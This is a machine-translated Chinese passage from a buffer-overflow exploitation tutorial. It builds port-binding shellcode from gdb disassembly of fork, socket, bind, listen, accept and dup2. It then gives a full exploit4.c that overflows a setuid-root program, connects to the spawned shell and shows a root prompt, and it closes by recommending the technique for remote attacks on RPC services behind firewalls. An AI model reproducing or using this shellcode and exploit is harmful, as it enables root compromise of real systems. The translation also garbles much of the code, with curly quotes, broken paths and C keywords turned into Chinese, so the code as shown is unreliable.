用汇编语言很难做。你可以做这个程序 简单。 打开socketasm2.c -------------------------------------------------- -------------------------- #include <unistd.h> #include <sys / socket.h> #include <netinet / in.h> int soc,cli; struct sockaddr_in serv_addr; int main() { if(fork()== 0) { serv_addr.sin_family = 2; serv_addr.sin_addr.s_addr = 0; serv_addr.sin_port = 0x77; soc = socket(2,1,6); bind(soc,(struct sockaddr *)&serv_addr,0x10); listen(soc,1); cli = accept(soc,0,0); dup2(cli,0); dup2(cli,1); dup2(cli,2); execl(“/ bin / sh”,“sh”,0); }} }} -------------------------------------------------- -------------------------- 编译和反汇编 -------------------------------------------------- -------------------------- [ohhara @ ohhara?] {1} $ gcc -o opensocketasm2 -static opensaloneasm2.c [ohhara @ ohhara?] {2} $ gdb opensocketasm2 GNU gdb 4.17 版权所有1998自由软件基金会 GDB是免费软件,由GNU通用公共许可证覆盖,你是 欢迎在特定条件下更改和/或分发它的副本。 键入“显示复制”以查看条件。 GDB绝对没有保修。有关详细信息,请键入“显示保修”。 这个GDB被配置为“i386-redhat-linux”... (gdb)反汇编fork 函数fork的汇编代码转储: 0x804ca90 <fork>:movl $ 0x2,%eax 0x804ca95 <fork + 5>:int $ 0x80 0x804ca97 <fork + 7>:cmpl $ 0xfffff001,%eax 0x804ca9c <fork + 12>:jae 0x804cdc0 <__ syscall_error> 0x804caa2 <fork + 18>:ret 0x804caa3 <fork + 19>:nop 0x804caa4 <fork + 20>:nop 0x804caa5 <fork + 21>:nop 0x804caa6 <fork + 22>:nop 0x804caa7 <fork + 23>:nop 0x804caa8 <fork + 24>:nop 0x804caa9 <fork + 25>:nop 0x804caaa <fork + 26>:nop 0x804caab <fork + 27>:nop 0x804caac <fork + 28>:nop 0x804caad <fork + 29>:nop 0x804caae <fork + 30>:nop 0x804caaf <fork + 31>:nop 汇编器转储结束。 (gdb)拆卸套接字 函数套接字的汇编代码转储: 0x804cda0 <socket>:movl%ebx,%edx 0x804cda2 <socket + 2>:movl $ 0x66,%eax 0x804cda7 <socket + 7>:movl $ 0x1,%ebx 0x804cdac <socket + 12>:leal 0x4(%esp,1),%ecx 0x804cdb0 <socket + 16>:int $ 0x80 0x804cdb2 <socket + 18>:movl%edx,%ebx 0x804cdb4 <socket + 20>:cmpl $ 0xffffff83,%eax 0x804cdb7 <socket + 23>:jae 0x804cdc0 <__ syscall_error> 0x804cdbd <socket + 29>:ret 0x804cdbe <socket + 30>:nop 0x804cdbf <socket + 31>:nop 汇编器转储结束。 (gdb)反汇编绑定 函数绑定的汇编代码转储: 0x804cd60 <bind>:movl%ebx,%edx 0x804cd62 <bind + 2>:movl $ 0x66,%eax 0x804cd67 <bind + 7>:movl $ 0x2,%ebx 0x804cd6c <bind + 12>:leal 0x4(%esp,1),%ecx 0x804cd70 <bind + 16>:int $ 0x80 0x804cd72 <bind + 18>:movl%edx,%ebx 0x804cd74 <bind + 20>:cmpl $ 0xffffff83,%eax 0x804cd77 <bind + 23>:jae 0x804cdc0 <__ syscall_error> 0x804cd7d <bind + 29>:ret 0x804cd7e <bind + 30>:nop 0x804cd7f <bind + 31>:nop 汇编器转储结束。 (gdb)反汇编侦听 函数侦听的汇编代码转储: 0x804cd80 <listen>:movl%ebx,%edx 0x804cd82 <listen + 2>:movl $ 0x66,%eax 0x804cd87 <listen + 7>:movl $ 0x4,%ebx 0x804cd8c <listen + 12>:leal 0x4(%esp,1)%ecx 0x804cd90 <listen + 16>:int $ 0x80 0x804cd92 <listen + 18>:movl%edx,%ebx 0x804cd94 <listen + 20>:cmpl $ 0xffffff83,%eax 0x804cd97 <listen + 23>:jae 0x804cdc0 <__ syscall_error> 0x804cd9d <listen + 29>:ret 0x804cd9e <listen + 30>:nop 0x804cd9f <listen + 31>:nop 汇编器转储结束。 (gdb)反汇编接受 函数__accept的汇编代码转储: 0x804cd40 <__ accept>:movl%ebx,%edx 0x804cd42 <__ accept + 2>:movl $ 0x66,%eax 0x804cd47 <__ accept + 7>:movl $ 0x5,%ebx 0x804cd4c <__ accept + 12>:leal 0x4(%esp,1),%ecx 0x804cd50 <__ accept + 16>:int $ 0x80 0x804cd52 <__ accept + 18>:movl%edx,%ebx 0x804cd54 <__ accept + 20>:cmpl $ 0xffffff83,%eax 0x804cd57 <__ accept + 23>:jae 0x804cdc0 <__ syscall_error> 0x804cd5d <__ accept + 29>:ret 0x804cd5e <__ accept + 30>:nop 0x804cd5f <__ accept + 31>:nop 汇编器转储结束。 (gdb)反汇编dup2 函数dup2的汇编代码转储: 0x804cbe0 <dup2>:movl%ebx,%edx 0x804cbe2 <dup2 + 2>:movl 0x8(%esp,1),%ecx 0x804cbe6 <dup2 + 6>:movl 0x4(%esp,1),%ebx 0x804cbea <dup2 + 10>:movl $ 0x3f,%eax 0x804cbef <dup2 + 15>:int $ 0x80 0x804cbf1 <dup2 + 17>:movl%edx,%ebx 0x804cbf3 <dup2 + 19>:cmpl $ 0xfffff001,%eax 0x804cbf8 <dup2 + 24>:jae 0x804cdc0 <__ syscall_error> 0x804cbfe <dup2 + 30>:ret 0x804cbff <dup2 + 31>:nop 汇编器转储结束。 (gdb) -------------------------------------------------- -------------------------- 叉子(); 码 -------------------------------------------------- -------------------------- char code [] = “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ xb0 \ x02”/ * movb $ 0x2,%al * / “\ xcd \ x80”; / * int $ 0x80 * / -------------------------------------------------- -------------------------- 插座(2,1,6); 码 -------------------------------------------------- -------------------------- / *%ecx是所有参数的指针。* / char code [] = “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x31 \ xdb”/ * xorl%ebx,%ebx * / “\ x89 \ xf1”/ * movl%esi,%ecx * / “\ xb0 \ x02”/ * movb $ 0x2,%al * / “\ x89 \ x06”/ * movl%eax,(%esi)* / / *第一个参数。* / / *%esi在使用之前具有引用空闲内存空间* / / *这条指令。* / “\ xb0 \ x01”/ * movb $ 0x1,%al * / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / / *第二个参数。* / “\ xb0 \ x06”/ * movb $ 0x6,%al * / “\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* / / *第三个参数。* / “\ xb0 \ x66”/ * movb $ 0x66,%al * / “\ xb3 \ x01”/ * movb $ 0x1,%bl * / “\ xcd \ x80”; / * int $ 0x80 * / -------------------------------------------------- -------------------------- bind(soc,(struct sockaddr *)&serv_addr,0x10); 码 -------------------------------------------------- -------------------------- / *%ecx是所有参数的指针。* / char code [] = “\ x89 \ xf1”/ * movl%esi,%ecx * / “\ x89 \ x06”/ * movl%eax,(%esi)* / / *%eax必须具有soc值才能使用此* / / *指令。* / / *第一个参数。* / “\ xb0 \ x02”/ * movb $ 0x2,%al * / “\ x66 \ x89 \ x46 \ x0c”/ * movw%ax,0xc(%esi)* / / * serv_addr.sin_family = 2 * / / * 2存储在0xc(%esi)。* / “\ xb0 \ x77”/ * movb $ 0x77,%al * / “\ x66 \ x89 \ x46 \ x0e”/ * movw%ax,0xe(%esi)* / / *存储端口号在0xe(%esi)* / “\ x8d \ x46 \ x0c”/ * leal 0xc(%esi),%eax * / / *%eax = serv_addr的地址* / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / / *第二个参数。* / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x89 \ x46 \ x10”/ * movl%eax,0x10(%esi)* / / * serv_addr.sin_addr.s_addr = 0 * / / * 0存储在0x10(%esi)。* / “\ xb0 \ x10”/ * movb $ 0x10,%al * / “\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* / / *第三个参数。* / “\ xb0 \ x66”/ * movb $ 0x66,%al * / “\ xb3 \ x02”/ * movb $ 0x2,%bl * / “\ xcd \ x80”; / * int $ 0x80 * / -------------------------------------------------- -------------------------- listen(soc,1); 码 -------------------------------------------------- -------------------------- / *%ecx是所有参数的指针。* / char code [] = “\ x89 \ xf1”/ * movl%esi,%ecx * / “\ x89 \ x06”/ * movl%eax,(%esi)* / / *%eax必须具有soc值才能使用此* / / *指令。* / / *第一个参数。* / “\ xb0 \ x01”/ * movb $ 0x1,%al * / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / / *第二个参数。* / “\ xb0 \ x66”/ * movb $ 0x66,%al * / “\ xb3 \ x04”/ * movb $ 0x4,%bl * / “\ xcd \ x80”; / * int $ 0x80 * / -------------------------------------------------- -------------------------- accept(soc,0,0); 码 -------------------------------------------------- -------------------------- / *%ecx是所有参数的指针。* / char code [] = “\ x89 \ xf1”/ * movl%esi,%ecx * / “\ x89 \ xf1”/ * movl%eax,(%esi)* / / *%eax必须具有soc值才能使用此* / / *指令。* / / *第一个参数。* / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / / *第二个参数。* / “\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* / / *第三个参数。* / “\ xb0 \ x66”/ * movb $ 0x66,%al * / “\ xb3 \ x05”/ * movb $ 0x5,%bl * / “\ xcd \ x80”; / * int $ 0x80 * / -------------------------------------------------- -------------------------- dup2(cli,0); 码 -------------------------------------------------- -------------------------- / *第一个参数是%ebx,第二个参数* / / *是%ecx * / char code [] = / *%eax必须有cli值才能使用此* / / *指令。* / “\ x88 \ xc3”/ * movb%al,%bl * / “\ xb0 \ x3f”/ * movb $ 0x3f,%al * / “\ x31 \ xc9”/ * xorl%ecx,%ecx * / “\ xcd \ x80”; / * int $ 0x80 * / -------------------------------------------------- -------------------------- 6.3修改正常shellcode 你需要一些工程来合并上述代码。 新shellcode -------------------------------------------------- -------------------------- char Shellcode [] = “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ xb0 \ x02”/ * movb $ 0x2,%al * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x85 \ xc0”/ * testl%eax,%eax * / “\ x75 \ x43”/ * jne 0x43 * / / * fork()!= 0 case * / / *它会调用exit(0)* / / *要做到这一点,它会跳两次,因为exit(0)是* / / *位于到目前为止。* / “\ xeb \ x43”/ * jmp 0x43 * / / * fork()== 0 case * / / *它会调用-0xa5 * / / *要做到这一点,它会跳两次,因为调用-0xa5 * / / *位于到目前为止。* / “\ x5e”/ * popl%esi * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x31 \ xdb”/ * xorl%ebx,%ebx * / “\ x89 \ xf1”/ * movl%esi,%ecx * / “\ xb0 \ x02”/ * movb $ 0x2,%al * / “\ x89 \ x06”/ * movl%eax,(%esi)* / “\ xb0 \ x01”/ * movb $ 0x1,%al * / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / “\ xb0 \ x06”/ * movb $ 0x6,%al * / “\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* / “\ xb0 \ x66”/ * movb $ 0x66,%al * / “\ xb3 \ x01”/ * movb $ 0x1,%bl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x89 \ x06”/ * movl%eax,(%esi)* / “\ xb0 \ x02”/ * movb $ 0x2,%al * / “\ x66 \ x89 \ x46 \ x0c”/ * movw%ax,0xc(%esi)* / “\ xb0 \ x77”/ * movb $ 0x77,%al * / “\ x66 \ x89 \ x46 \ x0e”/ * movw%ax,0xe(%esi)* / “\ x8d \ x46 \ x0c”/ * leal 0xc(%esi),%eax * / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x89 \ x46 \ x10”/ * movl%eax,0x10(%esi)* / “\ xb0 \ x10”/ * movb $ 0x10,%al * / “\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* / “\ xb0 \ x66”/ * movb $ 0x66,%al * / “\ xb3 \ x02”/ * movb $ 0x2,%bl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xeb \ x04”/ * jmp 0x4 * / “\ xeb \ x55”/ * jmp 0x55 * / “\ xeb \ x5b”/ * jmp 0x5b * / “\ xb0 \ x01”/ * movb $ 0x1,%al * / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / “\ xb0 \ x66”/ * movb $ 0x66,%al * / “\ xb3 \ x04”/ * movb $ 0x4,%bl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / “\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* / “\ xb0 \ x66”/ * movb $ 0x66,%al * / “\ xb3 \ x05”/ * movb $ 0x5,%bl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x88 \ xc3”/ * movb%al,%bl * / “\ xb0 \ x3f”/ * movb $ 0x3f,%al * / “\ x31 \ xc9”/ * xorl%ecx,%ecx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xb0 \ x3f”/ * movb $ 0x3f,%al * / “\ xb1 \ x01”/ * movb $ 0x1,%cl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xb0 \ x3f”/ * movb $ 0x3f,%al * / “\ xb1 \ x02”/ * movb $ 0x2,%cl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xb8 \ x2f \ x62 \ x69 \ x6e”/ * movl $ 0x6e69622f,%eax * / / *%eax =“/ bin”* / “\ x89 \ x06”/ * movl%eax,(%esi)* / “\ xb8 \ x2f \ x73 \ x68 \ x2f”/ * movl $ 0x2f68732f,%eax * / / *%eax =“/ sh /”* / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x88 \ x46 \ x07”/ * movb%al,0x7(%esi)* / “\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* / “\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* / “\ xb0 \ x0b”/ * movb $ 0xb,%al * / “\ x89 \ xf3”/ * movl%esi,%ebx * / “\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * / “\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ xb0 \ x01”/ * movb $ 0x1,%al * / “\ x31 \ xdb”/ * xorl%ebx,%ebx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xe8 \ x5b \ xff \ xff \ xff”; / * call -0xa5 * / -------------------------------------------------- -------------------------- 6.4利用弱势群体4计划 有了这个shellcode,你可以轻松地做一个exploit代码。你必须 使代码连接到套接字。 exploit4.c -------------------------------------------------- -------------------------- #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netdb.h> #include <netinet / in.h> #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char Shellcode [] = “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ xb0 \ x02”/ * movb $ 0x2,%al * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x85 \ xc0”/ * testl%eax,%eax * / “\ x75 \ x43”/ * jne 0x43 * / “\ xeb \ x43”/ * jmp 0x43 * / “\ x5e”/ * popl%esi * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x31 \ xdb”/ * xorl%ebx,%ebx * / “\ x89 \ xf1”/ * movl%esi,%ecx * / “\ xb0 \ x02”/ * movb $ 0x2,%al * / “\ x89 \ x06”/ * movl%eax,(%esi)* / “\ xb0 \ x01”/ * movb $ 0x1,%al * / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / “\ xb0 \ x06”/ * movb $ 0x6,%al * / “\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* / “\ xb0 \ x66”/ * movb $ 0x66,%al * / “\ xb3 \ x01”/ * movb $ 0x1,%bl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x89 \ x06”/ * movl%eax,(%esi)* / “\ xb0 \ x02”/ * movb $ 0x2,%al * / “\ x66 \ x89 \ x46 \ x0c”/ * movw%ax,0xc(%esi)* / “\ xb0 \ x77”/ * movb $ 0x77,%al * / “\ x66 \ x89 \ x46 \ x0e”/ * movw%ax,0xe(%esi)* / “\ x8d \ x46 \ x0c”/ * leal 0xc(%esi),%eax * / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x89 \ x46 \ x10”/ * movl%eax,0x10(%esi)* / “\ xb0 \ x10”/ * movb $ 0x10,%al * / “\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* / “\ xb0 \ x66”/ * movb $ 0x66,%al * / “\ xb3 \ x02”/ * movb $ 0x2,%bl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xeb \ x04”/ * jmp 0x4 * / “\ xeb \ x55”/ * jmp 0x55 * / “\ xeb \ x5b”/ * jmp 0x5b * / “\ xb0 \ x01”/ * movb $ 0x1,%al * / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / “\ xb0 \ x66”/ * movb $ 0x66,%al * / “\ xb3 \ x04”/ * movb $ 0x4,%bl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / “\ x89 \ x46 \ x08”/ * movl%eax,0x8(%esi)* / “\ xb0 \ x66”/ * movb $ 0x66,%al * / “\ xb3 \ x05”/ * movb $ 0x5,%bl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x88 \ xc3”/ * movb%al,%bl * / “\ xb0 \ x3f”/ * movb $ 0x3f,%al * / “\ x31 \ xc9”/ * xorl%ecx,%ecx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xb0 \ x3f”/ * movb $ 0x3f,%al * / “\ xb1 \ x01”/ * movb $ 0x1,%cl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xb0 \ x3f”/ * movb $ 0x3f,%al * / “\ xb1 \ x02”/ * movb $ 0x2,%cl * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xb8 \ x2f \ x62 \ x69 \ x6e”/ * movl $ 0x6e69622f,%eax * / “\ x89 \ x06”/ * movl%eax,(%esi)* / “\ xb8 \ x2f \ x73 \ x68 \ x2f”/ * movl $ 0x2f68732f,%eax * / “\ x89 \ x46 \ x04”/ * movl%eax,0x4(%esi)* / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ x88 \ x46 \ x07”/ * movb%al,0x7(%esi)* / “\ x89 \ x76 \ x08”/ * movl%esi,0x8(%esi)* / “\ x89 \ x46 \ x0c”/ * movl%eax,0xc(%esi)* / “\ xb0 \ x0b”/ * movb $ 0xb,%al * / “\ x89 \ xf3”/ * movl%esi,%ebx * / “\ x8d \ x4e \ x08”/ * leal 0x8(%esi),%ecx * / “\ x8d \ x56 \ x0c”/ * leal 0xc(%esi),%edx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ x31 \ xc0”/ * xorl%eax,%eax * / “\ xb0 \ x01”/ * movb $ 0x1,%al * / “\ x31 \ xdb”/ * xorl%ebx,%ebx * / “\ xcd \ x80”/ * int $ 0x80 * / “\ xe8 \ x5b \ xff \ xff \ xff”; / * call -0xa5 * / unsigned long get_sp(void) { __asm __(“movl%esp,%eax”); }} long getip(char * name) { struct hostent * hp; 长ip; if((ip = inet_addr(name))== - 1) { if((hp = gethostbyname(name))== NULL) { fprintf(stderr,“无法解析主机。\ n”); exit(0); }} memcpy(&ip,(hp-> h_addr),4); }} return ip; }} int exec_sh(int sockfd) { char snd [4096],rcv [4096]; fd_set rset; 而(1) { FD_ZERO(&rset); FD_SET(fileno(stdin),&rset); FD_SET(sockfd,&rset); select(255,&rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&rset)) { memset(snd,0,sizeof(snd)); fgets(snd,sizeof(snd),stdin); write(sockfd,snd,strlen(snd)); }} if(FD_ISSET(sockfd,&rset)) { memset(rcv,0,sizeof(rcv)); if(read(sockfd,rcv,sizeof(rcv))<= 0) exit(0); fputs(rcv,stdout); }} }} }} int connect_sh(long ip) { int sockfd,i; struct sockaddr_in sin; printf(“连接到shell \ n”); fflush(stdout); memset(&sin,0,sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(30464); sin.sin_addr.s_addr = ip; if((sockfd = socket(AF_INET,SOCK_STREAM,0))<0) { printf(“Can not create socket \ n”); exit(0); }} if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0) { printf(“无法连接到shell \ n”); exit(0); }} return sockfd; }} void main(int argc,char ** argv) { char buff [RET_POSITION + RANGE + ALIGN + 1],* ptr; 长加 无符号长整型 int offset = OFFSET,bsize = RET_POSITION + RANGE + ALIGN + 1; int i; int sockfd; if(argc> 1) offset = atoi(argv [1]); sp = get_sp(); addr = sp-offset; for(i = 0; i <bsize; i + = 4) { buff [i + ALIGN] =(addr&0x000000ff); buff [i + ALIGN + 1] =(addr&0x0000ff00)>> 8; buff [i + ALIGN + 2] =(addr&0x00ff0000)>> 16; buff [i + ALIGN + 3] =(addr&0xff000000)>> 24; }} for(i = 0; i <bsize-RANGE * 2-strlen(shellcode)-1; i ++) buff [i] = NOP; ptr = buff + bsize-RANGE * 2-strlen(shellcode)-1; for(i = 0; i <strlen(shellcode); i ++) *(ptr ++)= shellcode [i]; buff [bsize-1] =‘\ 0‘; printf(“Jump to 0x%08x \ n”,addr); if(fork()== 0) { execl(“./ vulnerable4”,“vulnerable4”,buff,0); exit(0); }} 睡眠(5); sockfd = connect_sh(getip(“127.0.0.1”)); exec_sh(sockfd); }} -------------------------------------------------- -------------------------- 利用漏洞4程序 -------------------------------------------------- -------------------------- [ohhara @ ohhara?] {1} $ ls -l vulnerable4 -rwsr-xr-x 1 root root 4091 Oct 18 20:21 vulnerable4 * [ohhara @ ohhara?] {2} $ ls -l exploit4 -rwxr-xr-x 1 ohhara cse 7973 Oct 18 20:25 exploit4 * [ohhara @ ohhara?] {3} $ ./exploit4 跳转到0xbfffec64 连接到shell 无法连接到shell [ohhara @ ohhara?] {4} $ ./exploit4 500 跳转到0xbfffea70 连接到shell 我是谁 根 -------------------------------------------------- -------------------------- 6.5你可以用这种技术做什么? 你可以使用这种技术来制作各种远程漏洞代码。如果 易受攻击的主机在防火墙后面,可以在未过滤的情况下打开一个套接字 港口。这是一个非常有用的技术,当你用缓冲区攻击rpc服务 溢出。 7.总结 本文介绍了四种缓冲区溢出技术。他们通过 过滤,将uid更改回0,断开chroot,并打开套接字。这些 技术将是非常有用的,当你试图做一个缓冲区溢出利用 码。此外,这些技术可以组合。 所有程序员在做setuid根程序或服务器时必须小心 程序!!!请小心!
以上是关于缓冲区溢出漏洞的主要内容,如果未能解决你的问题,请参考以下文章